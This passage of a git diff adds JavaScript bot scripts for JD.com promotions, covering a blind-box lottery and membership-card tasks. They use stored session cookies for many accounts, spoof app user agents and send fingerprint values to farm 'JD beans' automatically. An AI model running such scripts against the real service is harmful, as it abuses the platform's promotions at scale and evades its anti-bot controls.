$task.fetch(t).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { url: s, ...i } = t; + this.got.post(s, i).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { openUrl: e, mediaUrl: s } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { "open-url": e, "media-url": s } + } + if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { return new Promise(e => setTimeout(e, t)) } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_nzmh.js b/jd_nzmh.js new file mode 100644 index 0000000..733b18a --- /dev/null +++ b/jd_nzmh.js @@ -0,0 +1,293 @@ +/* +女装盲盒 +活动时间:2021-3-1至2021-3-31 +活动地址:https://anmp.jd.com/babelDiy/Zeus/3z12ngsd27UR1KfRqdMrMSSg3uxg/index.html +活动入口:京东app-女装馆-赢京豆 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#女装盲盒 +35 1,23 * * * https://raw.githubusercontent.com/222222/sync/jd_scripts/jd_nzmh.js, tag=女装盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "35 1,23 * * *" script-path=https://raw.githubusercontent.com/222222/sync/jd_scripts/jd_nzmh.js,tag=女装盲盒 + +===============Surge================= +女装盲盒 = type=cron,cronexp="35 1,23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/222222/sync/jd_scripts/jd_nzmh.js + +============小火箭========= +女装盲盒 = type=cron,script-path=https://raw.githubusercontent.com/222222/sync/jd_scripts/jd_nzmh.js, cronexpr="35 1,23 * * *", timeout=3600, enable=true + */ +const $ = new Env('女装盲盒抽京豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + console.log('女装盲盒\n' + + '活动时间:2021-3-1至2021-3-31\n' + + '活动地址:https://anmp.jd.com/babelDiy/Zeus/3z12ngsd27UR1KfRqdMrMSSg3uxg/index.html'); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + try { + await jdMh('https://anmp.jd.com/babelDiy/Zeus/3z12ngsd27UR1KfRqdMrMSSg3uxg/index.html') + } catch (e) { + $.logErr(e) + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdMh(url) { + try { + await getInfo(url) + await getUserInfo() + await draw() + while ($.userInfo.bless >= $.userInfo.cost_bless_one_time) { + await draw() + await getUserInfo() + await $.wait(500) + } + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + +function showMsg() { + return new Promise(resolve => { + if ($.beans) { + message += `本次运行获得${$.beans}京豆` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function getInfo(url) { + console.log(`url:${url}`) + return new Promise(resolve => { + $.get({ + url, + headers: { + Cookie: cookie + } + }, (err, resp, data) => { + try { + $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) + $.prize = JSON.parse($.info.prize) + resolve() + } catch (e) { + console.log(e) + } + }) + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl('query'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]).data + // console.log(`您的好友助力码为${$.userInfo.shareid}`) + console.log(`当前幸运值:${$.userInfo.bless}`) + for (let task of $.info.config.tasks) { + if (!$.userInfo.complete_task_list.includes(task['_id'])) { + console.log(`去做任务${task['_id']}`) + await doTask(task['_id']) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(taskId) { + let body = `task_bless=10&taskid=${taskId}` + return new Promise(resolve => { + $.get(taskUrl('completeTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.errcode === 8004) { + console.log(`任务完成失败,无效任务ID`) + } else { + if (data.data.complete_task_list.includes(taskId)) { + console.log(`任务完成成功,当前幸运值${data.data.curbless}`) + $.userInfo.bless = data.data.curbless + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function draw() { + return new Promise(resolve => { + $.get(taskUrl('draw'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data && data.data.drawflag) { + if ($.prize.filter(vo => vo.prizeLevel === data.data.level).length > 0) { + console.log(`获得${$.prize.filter(vo => vo.prizeLevel === data.data.level)[0].prizename}`) + $.beans += $.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum + } else { + console.log(`抽奖 未中奖`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body = '') { + body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` + return { + url: `https://wq.jd.com/activet2/piggybank/${function_id}?${body}`, + headers: { + 'Host': 'wq.jd.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'wq.jd.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`, + 'Cookie': cookie + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_opencardjoyjd.js b/jd_opencardjoyjd.js new file mode 100644 index 0000000..66d3f1e --- /dev/null +++ b/jd_opencardjoyjd.js @@ -0,0 +1,510 @@ +/* + +JoyJd任务脚本 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#JoyJd任务脚本 +5 2,18 * * * https://raw.githubusercontent.com/okyyds/yydspure/master/jd_joyjd_open.js, tag=JoyJd任务脚本, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "5 2,18 * * *" script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_joyjd_open.js,tag=JoyJd任务脚本 + +===============Surge================= +JoyJd任务脚本 = type=cron,cronexp="5 2,18 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_joyjd_open.js + +============小火箭========= +JoyJd任务脚本 = type=cron,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_joyjd_open.js, cronexpr="5 2,18 * * *", timeout=3600, enable=true + + +*/ +const $ = new Env('会员开卡赢京豆'); +const Faker=require('./sign_graphics_validate.js') +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +message = "" +!(async () => { + console.log('入口:https://prodev.m.jd.com/mall/active/3z1Vesrhx3GCCcBn2HgbFR4Jq68o/index.html') + console.log('开一张卡获得10豆') + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.bean = 0 + await getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await run(); + if($.bean > 0) message += `【京东账号${$.index}】获得${$.bean}京豆\n` + } + } + if(message){ + $.msg($.name, ``, `${message}\n获得到的京豆不一定到账`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${message}\n获得到的京豆不一定到账`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function run() { + try { + await getHtml(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + if(!$.fp || !$.eid){ + $.log("获取活动信息失败!") + return + } + let config = [ + {configCode:'469f588bbf0f45e1bf06c87c76df9db8',configName:'我爱520-1'}, + // {configCode:'761d289b16d74713bf6cee8462ca0e76',configName:'我爱520-2'}, + // {configCode:'3d83678471e74b84940b99d16d8848b5',configName:'我爱520-3'}, + //{configCode:'ce04c87546ea40cc8f601e85f2dda2a9',configName:'秋新资任务组件 组1'}, + ] + for(let i in config){ + $.hotFlag = false + let item = config[i] + $.task = '' + $.taskList = [] + $.taskInfo = '' + let q = 5 + for(m=1;q--;m++){ + if($.task == '') await getActivity(item.configCode,item.configName,0) + if($.task || $.hotFlag) break + } + if($.hotFlag) continue; + if($.task.showOrder){ + console.log(`\n[${item.configName}] ${$.task.showOrder == 2 && '日常任务' || $.task.showOrder == 1 && '开卡' || '未知活动类型'} ${($.taskInfo.rewardStatus == 2) && '全部完成' || ''}`) + if($.taskInfo.rewardStatus == 2) continue; + $.taskList = $.task.memberList || $.task.taskList || [] + $.oneTask = '' + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if($.task.showOrder == 1){ + if($.oneTask.cardName.indexOf('马克华') > -1) continue + console.log(`${$.oneTask.cardName} ${0 == $.oneTask.result ? "开卡得" + $.oneTask.rewardQuantity + "京豆" : 1 == $.oneTask.result ? "领取" + $.oneTask.rewardQuantity + "京豆" : 3 == $.oneTask.result ? "其他渠道入会" : "已入会"}`) + if($.oneTask.result == 0) await statistic(`{"activityType":"module_task","groupType":7,"configCode":"${item.configCode}","itemId":${$.oneTask.cardId}}`) + if($.oneTask.result == 0) await join($.oneTask.venderId) + await $.wait(parseInt(Math.random() * 1000 + 500, 10)) + if($.oneTask.result == 1 || $.oneTask.result == 0) await getReward(`{"configCode":"${item.configCode}","groupType":7,"itemId":${$.oneTask.cardId},"eid":"${$.eid}","fp":"${$.fp}"}`) + }else if($.task.showOrder == 2){ + $.cacheNum = 0 + $.doTask = false + $.outActivity = false + let name = `${1 == $.oneTask.groupType ? "关注并浏览店铺" : 2 == $.oneTask.groupType ? "加购并浏览商品" : 3 == $.oneTask.groupType ? "关注并浏览频道" : 6 == $.oneTask.groupType ? "浏览会场" : "未知"}` + let msg = `(${$.oneTask.finishCount}/${$.oneTask.taskCount})` + let status = `${$.oneTask.finishCount >= $.oneTask.taskCount && '已完成' || "去" + (1 == $.oneTask.groupType ? "关注" : 2 == $.oneTask.groupType ? "加购" : 3 == $.oneTask.groupType ? "关注" : 6 == $.oneTask.groupType ? "浏览" : "做任务")}` + console.log(`${name}${msg} ${status}`) + if($.oneTask.finishCount < $.oneTask.taskCount){ + await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTask.groupType},"itemId":"${$.oneTask.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) + let c = $.oneTask.taskCount - $.oneTask.finishCount - 1 + for(n=2;c-- && !$.outActivity;n++){ + if($.outActivity) break + console.log(`第${n}次`) + await getActivity(item.configCode,item.configName,$.oneTask.groupType) + $.oneTasks = '' + let q = 3 + for(m=1;q--;m++){ + if($.oneTasks == '') await getActivity(item.configCode,item.configName,$.oneTask.groupType) + if($.oneTasks) break + } + if($.oneTasks){ + c = $.oneTasks.taskCount - $.oneTasks.finishCount + if($.oneTasks.item.itemId == $.oneTask.item.itemId){ + n--; + console.log(`数据缓存中`) + $.cacheNum++; + if($.cacheNum > 3) console.log('请重新执行脚本,数据缓存问题'); + if($.cacheNum > 3) break; + await getUA() + await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + await getHtml(); + }else{ + $.cacheNum = 0 + } + if($.oneTasks.item.itemId != $.oneTask.item.itemId && $.oneTasks.finishCount < $.oneTasks.taskCount) await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTasks.groupType},"itemId":"${$.oneTasks.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + }else{ + n--; + } + } + } + }else{ + console.log('未知活动类型') + } + } + if($.task.showOrder == 2){ + if($.doTask){ + $.taskInfo = '' + let q = 5 + for(m=1;q--;m++){ + if($.taskInfo == '') await getActivity(item.configCode,item.configName,-1) + if($.taskInfo) break + } + } + if($.taskInfo.rewardStatus == 1) await getReward(`{"configCode":"${item.configCode}","groupType":5,"itemId":1,"eid":"${$.eid}","fp":"${$.fp}"}`,1) + } + } + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + } + + } catch (e) { + console.log(e) + } +} +function getActivity(code,name,flag) { + return new Promise(async resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/v2/getActivity?configCode=${code}&eid=${$.eid}&fp=${$.fp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + 'Content-Type':'application/json;charset=utf-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true && res.data.pass == true){ + if(flag == 0){ + $.task = res.data.memberTask || res.data.dailyTask || [] + $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || [] + }else if(flag == -1){ + $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || {} + }else if(flag == 1 || flag == 2){ + for(let i of res.data.dailyTask.taskList){ + if(i.groupType == flag){ + $.oneTasks = i + break + } + } + }else{ + console.log('活动-未知类型') + } + }else if(res.data.pass == false){ + console.log(`活动[${name}]活动太火爆了,请稍后再试~`) + $.hotFlag = true + }else{ + console.log(`活动[${name}]获取失败\n${data}`) + if(flag > 0) await getHtml(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doTask(body) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/v2/doTask`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + $.doTask = true + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(parseInt(Math.random() * 1000 + 500, 10)) + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true){ + console.log(`领奖成功:${$.oneTask.rewardQuantity}京豆`) + $.bean += Number($.oneTask.rewardQuantity) + }else if(res.errorMessage){ + if(res.errorMessage.indexOf('活动已结束') > -1) $.outActivity = true + console.log(`${res.errorMessage}`) + }else{ + console.log(data) + } + } + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getReward(body, flag = 0) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/v2/getReward`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": 